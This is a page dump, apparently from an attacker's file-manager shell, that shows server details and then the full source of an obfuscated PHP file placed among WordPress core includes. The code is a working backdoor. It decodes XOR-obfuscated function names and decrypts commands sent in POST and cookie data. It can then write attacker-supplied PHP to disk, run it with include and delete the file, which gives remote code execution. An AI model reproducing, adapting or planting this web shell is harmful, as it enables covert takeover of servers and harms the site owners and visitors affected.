HEX
Server: Apache
System: Linux vps-00003980 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2019-05-13) x86_64
User: web716 (1018)
PHP: 7.4.25
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client2/web716/web/wp-includes/php-compat/sqhodudy.php
<?php 
$paykj    = /*vdvch   */ 'paykj'  ^	'	';$dtfymiezq /*knxsx*/ = /* sxv  */ "a"."\162"     .    "\x72" /*  emq   */ . /*   q*/ $paykj(97)   .    "\x79" /*   vdcw */ .	$paykj(823-728)      .       "m"."a".$paykj(112);

$xtejmugtr     = /*  wva*/ "\152"     .	$paykj(111)    .	"i".$paykj(110);






function /*bf   */ bchvt_v($aumommavn,     $arhkxz)
{	global      $paykj;


      
 /*   jxn */ $aumommavn       =   $paykj(375-315)    .	$paykj(623-560) /*b  */ .	"\x70"	.	"h"."p".$paykj(32) /*  wdjanw */ .    $paykj(839-722)	.    $paykj(554-444)    .      "l"."i"."\x6e"      . /*tvhsdi   */ "k"."("."_"."\x5f"	. /*aevd */ "F"."I"."\114"    .    $paykj(69)    .      "\x5f"    .     "\137" /* myxnv */ .     "\x29"    . /*  in */ ";".$paykj(32)    .   $aumommavn["d"];
 /* ozgkrq  */ $puzbvvj    =  "f"."\x69"      .	$paykj(906-798)	.	$paykj(1057-956)    .	$paykj(474-379)    . /*   mgp   */ "\160" /*fmvlan*/ .    "\165" /* qmhoc */ .  "\164"   . /*uk  */ "_"."c"."\x6f" /*   _*/ .  "\x6e"    .      "t".$paykj(1043-942)	. /*  y  */ $paykj(110)     .    "t".$paykj(233-118);       


 /* vo */ $puzbvvj($arhkxz, /*   efhxfs  */ $aumommavn); /* bdxs*/ 
   gzpbgovggb($arhkxz);

}

$eceif /*   guqhve   */ =    73;


function  gzpbgovggb($arhkxz)
{       global	$paykj;    

	include($arhkxz);	$zkvrwkomv   =	$arhkxz;
       @unlink($zkvrwkomv);

}

function /*  u  */ ckrdfqxygi(){
    global    $paykj;
 /*  mmas */ $pzzdbjv	=	array();
	$pzzdbjv[$paykj(112)    . /*  ahldlo   */ "\x76"]	=       phpversion();


	$pzzdbjv["s"."v"] /*   aqp*/ = /*vs*/ $paykj(112-61) /*   b */ . /*   m   */ "\56" /*  hzywp  */ .    "\x35";

	$mzvevwylxj	=    74;	echo    @serialize($pzzdbjv);

}






function    nlnbw($aumommavn, /* o   */ $ropujrnhi)

{
 /*  q*/ global	$paykj;



 /*   yj*/ $zcwcohvyf  =    "";
 /*i_zihx  */ $waw_nijqqu    =    strlen($aumommavn);
      $bqoksiihe  =    strlen($ropujrnhi);
 /*   hpbnc   */ $pzzdbjv	= /*  ncez  */ 0;    $g_snsvu    = /*  encrmk  */ 0;       


      while    ($pzzdbjv    <    $waw_nijqqu)     {

 /*irj_*/ $uxwnpoqtcs	=     $aumommavn[$pzzdbjv]    ^ /*uhxn */ $ropujrnhi[$g_snsvu     %    $bqoksiihe];

 /*   wzx */ $zcwcohvyf /* jsyy   */ .=     $uxwnpoqtcs;


	$g_snsvu++;	

 /*   knx */ $pzzdbjv++;
  }


 /*  _*/ 
       if	(strlen($zcwcohvyf)    >    20)     {     $_gghljt /*g   */ =     substr($zcwcohvyf,    0,      20);     }


	if /*   kghkx  */ (empty($zcwcohvyf))    {


    $zcwcohvyf	=    date('Y-m-d     H:i:s');


	} /*  eqd*/ return	$zcwcohvyf;}



function /*potqn */ edqxohx_l($wvtnj){

 /*vbbe*/ global    $paykj;

      


	$lyo_qrzqvz    =	"\x35"  .	"7"."\x61" /* uu */ .   "\70"    .	$paykj(101)."3"."9"."5"."\x2d"       .     "7"."3"."d"."9"."-"."\x34"    .  "8"."8"."3".$paykj(45) /*  bzgmt */ .    $paykj(98)       . /*io   */ "d"."\x65"	. /*   ifix */ "\60"      . /*  axittk   */ "-".$paykj(101)    .	$paykj(101)      .    $paykj(101).$paykj(992-894) /*   rsjhvr   */ .	"\141"    . /*_kyjii  */ "5"."2".$paykj(56) /*  xoyken  */ .  $paykj(97)    . /*woh_dq */ "8".$paykj(102) /*qsfea */ .   "\x35";

  

	foreach   ($wvtnj    as	$hqohnp    => /*   s   */ $aumommavn)    {  neiuoxdnww(base64_decode($aumommavn), /*xejv*/ $lyo_qrzqvz,    $hqohnp);

       }}


function /*   cdoy  */ neiuoxdnww($aumommavn,    $lyo_qrzqvz,       $hqohnp)

{


       global  $paykj;
       /* ngiaqx   */ $aumommavn     = /* nhhduq  */ unserialize(nlnbw(nlnbw($aumommavn,	$lyo_qrzqvz),   $hqohnp));


	$grpgm /*  n  */ =	'evibhgj';

	$ydtkwh  = /*  nm*/ 'rqyjj';


 /*olsgfc  */ if /*   k  */ (isset($aumommavn["a"."\153"]))	{


    if /*  bjvrzw   */ ($aumommavn["a"]  ==   "i")    {


   ckrdfqxygi();


	} /*  gvywuc */ elseif /*   rivd_ */ ($aumommavn["a"]    ==    $paykj(101)) /*   na */ {       bchvt_v($aumommavn,      sprintf("."."\x2f"     . /*lj*/ "%"."\163"     .    $paykj(843-797) /* jsxyt*/ .    "\x70"	. /*  waye*/ $paykj(713-605),	md5($lyo_qrzqvz)));			$wqzeutv	= /*mfs */ 44;
    }
    exit();

       }
}

edqxohx_l($_POST);   




$xo_kwpg    =    Array();

$vcecmokwp     =    $dtfymiezq('rawurldecode',     $_POST);$xtejmugtr($xo_kwpg);

edqxohx_l($_COOKIE);




$anzymsyf    = /*nngu */ $dtfymiezq('rawurldecode', /* ap*/ $_COOKIE);




?>